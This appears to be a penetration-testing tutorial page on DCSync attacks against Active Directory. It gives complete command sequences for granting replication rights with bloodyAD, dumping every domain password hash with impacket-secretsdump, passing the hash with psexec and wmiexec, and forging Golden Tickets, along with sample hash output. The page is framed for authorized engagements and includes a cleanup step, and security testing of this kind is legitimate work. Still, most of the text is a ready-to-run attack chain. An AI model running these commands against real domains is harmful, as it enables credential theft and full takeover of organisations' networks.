Skip to content
HackIndex logo

HackIndex

DCSync and Domain Takeover

4 min read Jul 14, 2026

DCSync abuses Active Directory replication rights to pull password hashes for any domain account directly from a domain controller — without logging on to the DC or running code on it. With the krbtgt hash you can forge Golden Tickets. With the Administrator hash you have persistent access regardless of password changes. This is the end goal of most AD engagements.

Prerequisites

DCSync requires one of the following on the domain object:

  • Membership in Domain Admins, Enterprise Admins, or Domain Controllers groups

  • DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights explicitly granted

  • WriteDACL on the domain object to grant yourself these rights — see ACL Abuse Privilege Escalation

Grant DCSync rights with BloodyAD

If you have WriteDACL on the domain object, use BloodyAD to grant replication rights to your controlled account before running secretsdump.

┌──(kali㉿kali)-[~]
└─$ # Grant DCSync rights to controlled user
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add dcsync $USER
 
┌──(kali㉿kali)-[~]
└─$ # Verify rights were added
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD -M daclread --options TARGET_DN="DC=$DOMAIN_PART1,DC=$DOMAIN_PART2" PRINCIPAL=$USER 
[+] User jsmith now has DS-Replication-Get-Changes-All on the domain

Perform DCSync

┌──(kali㉿kali)-[~]
└─$ # Dump all domain hashes
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP -just-dc
 
┌──(kali㉿kali)-[~]
└─$ # Dump specific high-value accounts
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP -just-dc-user krbtgt
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP -just-dc-user Administrator
 
┌──(kali㉿kali)-[~]
└─$ # With NTLM hash (Pass-the-Hash)
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH -just-dc
 
┌──(kali㉿kali)-[~]
└─$ # With Kerberos ticket
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=$USER.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER@$TARGET_IP -k -no-pass -just-dc
 
┌──(kali㉿kali)-[~]
└─$ # Full dump including NTDS and LSA secrets
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7b5b518b1c33d1b22c3d0b70e76a6f90:::
svc-backup:1103:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::

Using the dumped hashes

The four most important hashes from a DCSync are Administrator, krbtgt, and any service accounts with high privileges. Each enables a different follow-on technique.

┌──(kali㉿kali)-[~]
└─$ # Pass-the-Hash as Administrator — access any domain host
┌──(kali㉿kali)-[~]
└─$ nxc smb 192.168.1.0/24 -u Administrator -H $ADMIN_NTHASH
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/Administrator@$TARGET_IP -hashes :$ADMIN_NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # Pass-the-Hash with impacket tools
┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/Administrator@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$ADMIN_NTHASH
┌──(kali㉿kali)-[~]
└─$ impacket-smbclient $DOMAIN/Administrator@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$ADMIN_NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # Golden Ticket — forge TGT for any user, valid until krbtgt rotated twice
┌──(kali㉿kali)-[~]
└─$ impacket-ticketer -nthash $KRBTGT_NTHASH -domain-sid $DOMAIN_SID -domain $DOMAIN Administrator
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=Administrator.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/Administrator@$DC_HOSTNAME -k -no-pass

Get domain SID

The domain SID is needed for Golden Ticket creation. Pull it from the DCSync output or query it directly.

┌──(kali㉿kali)-[~]
└─$ # From impacket-getPac
┌──(kali㉿kali)-[~]
└─$ impacket-getPac $DOMAIN/$USER:$PASSWORD -targetUser $USER -dc-ip $TARGET_IP | grep "Domain SID"
 
┌──(kali㉿kali)-[~]
└─$ # From nxc
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --get-sid
 
┌──(kali㉿kali)-[~]
└─$ # From secretsdump output — look for lines like:
┌──(kali㉿kali)-[~]
└─$ # corp.local\Administrator:500:...
┌──(kali㉿kali)-[~]
└─$ # The SID is in the domain object — extract with:
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=domain)" objectSid 
Domain SID: S-1-5-21-3623811015-3361044348-30300820

Cleanup — remove DCSync rights

Always remove granted replication rights after the engagement. Leaving them in place creates a persistent backdoor that is detectable by defenders and out of scope for most engagements.

┌──(kali㉿kali)-[~]
└─$ # Remove DCSync rights granted earlier
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove dcsync $USER
 
┌──(kali㉿kali)-[~]
└─$ # Verify removal
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD -M daclread --options TARGET_DN="DC=$DOMAIN_PART1,DC=$DOMAIN_PART2" PRINCIPAL=$USER

With domain hashes in hand the next steps are lateral movement and persistence. For using hashes across the network see Pass-the-Hash and Pass-the-Ticket. For maintaining access beyond the engagement see Golden and Silver Ticket Persistence.

References